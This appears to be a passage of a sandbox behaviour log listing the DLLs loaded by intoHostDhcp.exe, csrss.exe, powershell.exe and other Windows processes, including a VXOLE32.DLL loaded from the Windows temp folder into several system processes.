"intoHostDhcp.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "intoHostDhcp.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6ba90000 "intoHostDhcp.exe" loaded module "SHLWAPI.DLL" at base 76370000 "intoHostDhcp.exe" loaded module "VERSION.DLL" at base 74800000 "intoHostDhcp.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "intoHostDhcp.exe" loaded module "USER32.DLL" at base 75e10000 "intoHostDhcp.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "intoHostDhcp.exe" loaded module "PSAPI.DLL" at base 77610000 "intoHostDhcp.exe" loaded module "RPCRT4.DLL" at base 75760000 "intoHostDhcp.exe" loaded module "KERNEL32.DLL" at base 75870000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "intoHostDhcp.exe" loaded module "OLE32.DLL" at base 75a70000 "intoHostDhcp.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "intoHostDhcp.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74080000 "intoHostDhcp.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6a0e0000 "intoHostDhcp.exe" loaded module "NTDLL.DLL" at base 77460000 "intoHostDhcp.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "intoHostDhcp.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "intoHostDhcp.exe" loaded module "RPCRTREMOTE.DLL" at base 75300000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62ec0000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 684b0000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 62050000 "intoHostDhcp.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cbe0000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61830000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 610b0000 "intoHostDhcp.exe" loaded module "SHELL32.DLL" at base 76810000 "intoHostDhcp.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "intoHostDhcp.exe" loaded module "PROFAPI.DLL" at base 75370000 "intoHostDhcp.exe" loaded module "BCRYPT.DLL" at base 74e80000 "intoHostDhcp.exe" loaded module "SSPICLI.DLL" at base 751f0000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 60fd0000 "intoHostDhcp.exe" loaded module "OLEAUT32.DLL" at base 76020000 "intoHostDhcp.exe" loaded module "ADVAPI32" at base 756a0000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 60ea0000 "intoHostDhcp.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6c280000 "intoHostDhcp.exe" loaded module "CLBCATQ.DLL" at base 75ee0000 "intoHostDhcp.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75870000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6d080000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6d590000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6ce70000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6db80000 "intoHostDhcp.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 60290000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75210000 "intoHostDhcp.exe" loaded module "PROPSYS.DLL" at base 74090000 "intoHostDhcp.exe" loaded module "COMCTL32.DLL" at base 74260000 "intoHostDhcp.exe" loaded module "APPHELP.DLL" at base 75210000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\WPDSHEXT.DLL" at base 5dd00000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6e3a0000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76810000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a6c0000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74090000 "intoHostDhcp.exe" loaded module "NTMARTA.DLL" at base 747d0000 "intoHostDhcp.exe" loaded module "SETUPAPI.DLL" at base 76110000 "intoHostDhcp.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 763d0000 "intoHostDhcp.exe" loaded module "SECUR32.DLL" at base 75090000 "intoHostDhcp.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6eb00000 "csrss.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6a170000 "csrss.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "csrss.exe" loaded module "KERNEL32" at base 75870000 "csrss.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "csrss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6ba90000 "csrss.exe" loaded module "SHLWAPI.DLL" at base 76370000 "csrss.exe" loaded module "VERSION.DLL" at base 74800000 "csrss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "csrss.exe" loaded module "USER32.DLL" at base 75e10000 "csrss.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "csrss.exe" loaded module "KERNEL32.DLL" at base 75870000 "csrss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "csrss.exe" loaded module "RPCRT4.DLL" at base 75760000 "csrss.exe" loaded module "OLE32.DLL" at base 75a70000 "csrss.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "csrss.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74080000 "csrss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62ec0000 "csrss.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "csrss.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "csrss.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "csrss.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "csrss.exe" loaded module "RPCRTREMOTE.DLL" at base 75300000 "csrss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 684b0000 "csrss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 62050000 "csrss.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cbe0000 "csrss.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "csrss.exe" loaded module "SHELL32.DLL" at base 76810000 "csrss.exe" loaded module "BCRYPT.DLL" at base 74e80000 "csrss.exe" loaded module "PSAPI.DLL" at base 77610000 "csrss.exe" loaded module "OLEAUT32.DLL" at base 76020000 "dllhost.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6a170000 "dllhost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "dllhost.exe" loaded module "KERNEL32" at base 75870000 "dllhost.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "dllhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6ba90000 "dllhost.exe" loaded module "SHLWAPI.DLL" at base 76370000 "dllhost.exe" loaded module "VERSION.DLL" at base 74800000 "dllhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "dllhost.exe" loaded module "USER32.DLL" at base 75e10000 "dllhost.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "dllhost.exe" loaded module "KERNEL32.DLL" at base 75870000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "dllhost.exe" loaded module "RPCRT4.DLL" at base 75760000 "dllhost.exe" loaded module "OLE32.DLL" at base 75a70000 "dllhost.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "dllhost.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "dllhost.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74080000 "dllhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6a0e0000 "dllhost.exe" loaded module "NTDLL.DLL" at base 77460000 "dllhost.exe" loaded module "RPCRTREMOTE.DLL" at base 75300000 "dllhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cbe0000 "dllhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61830000 "wininit.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6a170000 "wininit.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "wininit.exe" loaded module "KERNEL32" at base 75870000 "wininit.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "wininit.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6ba90000 "wininit.exe" loaded module "SHLWAPI.DLL" at base 76370000 "wininit.exe" loaded module "VERSION.DLL" at base 74800000 "wininit.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "wininit.exe" loaded module "USER32.DLL" at base 75e10000 "wininit.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "wininit.exe" loaded module "KERNEL32.DLL" at base 75870000 "wininit.exe" loaded module "RPCRT4.DLL" at base 75760000 "wininit.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "wininit.exe" loaded module "OLE32.DLL" at base 75a70000 "wininit.exe" loaded module "NTDLL.DLL" at base 77460000 "wininit.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "wininit.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "wininit.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "wininit.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "wininit.exe" loaded module "RPCRTREMOTE.DLL" at base 75300000 "wininit.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62ec0000 "wininit.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cbe0000 "wininit.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 610b0000 "wininit.exe" loaded module "SHELL32.DLL" at base 76810000 "wininit.exe" loaded module "BCRYPT.DLL" at base 74e80000 "wininit.exe" loaded module "PSAPI.DLL" at base 77610000 "wininit.exe" loaded module "OLEAUT32.DLL" at base 76020000 "wininit.exe" loaded module "PROPSYS.DLL" at base 74090000 "wininit.exe" loaded module "COMCTL32.DLL" at base 74260000 "wininit.exe" loaded module "CLBCATQ.DLL" at base 75ee0000 "wininit.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74090000 "wininit.exe" loaded module "NTMARTA.DLL" at base 747d0000 "OSPPSVC.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "OSPPSVC.exe" loaded module "KERNEL32" at base 75870000 "OSPPSVC.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "OSPPSVC.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6ba90000 "OSPPSVC.exe" loaded module "SHLWAPI.DLL" at base 76370000 "OSPPSVC.exe" loaded module "VERSION.DLL" at base 74800000 "OSPPSVC.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "OSPPSVC.exe" loaded module "USER32.DLL" at base 75e10000 "OSPPSVC.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "OSPPSVC.exe" loaded module "KERNEL32.DLL" at base 75870000 "OSPPSVC.exe" loaded module "RPCRT4.DLL" at base 75760000 "OSPPSVC.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "OSPPSVC.exe" loaded module "OLE32.DLL" at base 75a70000 "OSPPSVC.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "OSPPSVC.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "OSPPSVC.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "OSPPSVC.exe" loaded module "RPCRTREMOTE.DLL" at base 75300000 "OSPPSVC.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62ec0000 "OSPPSVC.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "OSPPSVC.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 610b0000 "OSPPSVC.exe" loaded module "NTDLL.DLL" at base 77460000 "OSPPSVC.exe" loaded module "BCRYPT.DLL" at base 74e80000 "OSPPSVC.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "OSPPSVC.exe" loaded module "PSAPI.DLL" at base 77610000 "OSPPSVC.exe" loaded module "SHELL32.DLL" at base 76810000 "conhost.exe" loaded module "SHLWAPI.DLL" at base 76370000 "conhost.exe" loaded module "VERSION.DLL" at base 74800000 "conhost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "conhost.exe" loaded module "KERNEL32" at base 75870000 "conhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "conhost.exe" loaded module "USER32.DLL" at base 75e10000 "conhost.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "conhost.exe" loaded module "RPCRT4.DLL" at base 75760000 "conhost.exe" loaded module "KERNEL32.DLL" at base 75870000 "conhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "conhost.exe" loaded module "OLE32.DLL" at base 75a70000 "conhost.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "conhost.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "conhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cbe0000 "conhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61830000 "conhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "conhost.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "conhost.exe" loaded module "PROFAPI.DLL" at base 75370000 "conhost.exe" loaded module "BCRYPT.DLL" at base 74e80000 "powershell.exe" loaded module "MSCOREE.DLL" at base 6bb20000 "powershell.exe" loaded module "PSAPI.DLL" at base 77610000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6bb20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63920000 "powershell.exe" loaded module "OLE32.DLL" at base 75a70000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62ec0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61830000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.PB378EC07#\D254C63BEDCB76C81C3125BD527B7D1A\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 60ba0000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAA57FC8CC#\73A1A80AED03E789A49CEC899B7505DD\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 5e7a0000 "powershell.exe" loaded module "NTDLL.DLL" at base 77460000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75870000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6cbe0000 "powershell.exe" loaded module "VERSION.DLL" at base 74800000 "powershell.exe" loaded module "SHELL32.DLL" at base 76810000 "powershell.exe" loaded module "USER32.DLL" at base 75e10000 "powershell.exe" loaded module "WINTRUST.DLL" at base 754f0000 "powershell.exe" loaded module "MSISIP.DLL" at base 6cbc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75520000 "powershell.exe" loaded module "IMM32.DLL" at base 76350000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 6c260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6c2c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 5d4e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 5e2f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 610b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 60ea0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DIRED13B18A9#\2E76676FBD265F70BE92C82BBF76B8E5\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 72070000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6a0e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.P6F792626#\05765F777020DEEDDC8AD54B48343B9C\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 6a550000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 6a490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 72020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\F0821980BFE2FC8375CCFC37DBE6E9D8\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 69b80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69fd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.NUMERICS\E7D6ED984300C7212C6E682C4F730B1E\SYSTEM.NUMERICS.NI.DLL" at base 6c4f0000 "powershell.exe" loaded module "SECUR32.DLL" at base 75090000 "powershell.exe" loaded module "SSPICLI.DLL" at base 751f0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.CSHARP\F73F48AFB5512225DEDAEE9C88AC5050\MICROSOFT.CSHARP.NI.DLL" at base 699e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "powershell.exe" loaded module "RPCRTREMOTE.DLL" at base 75300000 "powershell.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75400000 "powershell.exe" loaded module "NCRYPT.DLL" at base 74ea0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 71410000 "powershell.exe" loaded module "WS2_32.DLL" at base 76520000 "powershell.exe" loaded module "CREDSSP.DLL" at base 74a00000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 760f0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 71410000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73630000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "powershell.exe" loaded module "PROFAPI.DLL" at base 75370000 "powershell.exe" loaded module "BCRYPT.DLL" at base 74e80000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "powershell.exe" loaded module "KERNEL32" at base 75870000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64d30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.PAE3498D9#\8DCF1DAED985F481EED5CCA9D2945C18\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 696a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFE64A9051#\1561B93D6D25C4A9C3E2659AB29A5E73\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 71380000 "powershell.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 754e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74a40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74d30000 "powershell.exe" loaded module "WSHTCPIP" at base 74890000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 760f0000 "powershell.exe" loaded module "DNSAPI.DLL" at base 74bf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74d20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6ba90000 "powershell.exe" loaded module "WINHTTP.DLL" at base 71000000 "powershell.exe" loaded module "CRYPT32.DLL" at base 75520000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 68c90000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 760f0000 "powershell.exe" loaded module "SENSAPI.DLL" at base 72b20000 "powershell.exe" loaded module "WSHIP6.DLL" at base 74d20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74890000 "powershell.exe" loaded module "RASADHLP.DLL" at base 71ac0000 "powershell.exe" loaded module "DHCPCSVC6.DLL" at base 735d0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 736c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.M870D558A#\7CEB6B903321C16B12386A8DF1BE50F9\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 69950000 "powershell.exe" loaded module "URLMON.DLL" at base 763d0000 "powershell.exe" loaded module "USERENV.DLL" at base 75410000 "wininit.exe" loaded module 